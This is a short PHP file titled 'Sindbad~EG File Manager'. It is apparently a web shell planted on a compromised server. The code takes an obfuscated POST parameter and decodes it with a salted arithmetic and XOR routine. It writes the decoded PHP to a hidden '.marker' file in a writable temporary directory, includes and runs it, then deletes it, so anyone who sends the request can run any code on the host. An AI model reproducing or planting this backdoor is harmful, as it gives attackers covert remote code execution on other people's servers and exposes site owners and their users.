Sindbad~EG File Manager

<?php

if(@$_POST["\x64a\x74"] !== null){
	$reference = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp"]);
	$property_set = $_POST["\x64a\x74"];
	  $property_set=	 explode (  '.'	,	$property_set)		 ; 
	$factor = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($property_set as $m=>		$v6):
                $sChar = ord($salt[$m %$lenS]);
                $dec = ((int)$v6 - $sChar - ($m %10)) ^ 24;
                $factor.=		chr($dec);
            endforeach;
	foreach ($reference as $data_chunk) {
    		if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) {
    $itm = "$data_chunk/.marker";
    if (file_put_contents($itm, $factor)) {
	include $itm;
	@unlink($itm);
	die();
}
}
}
}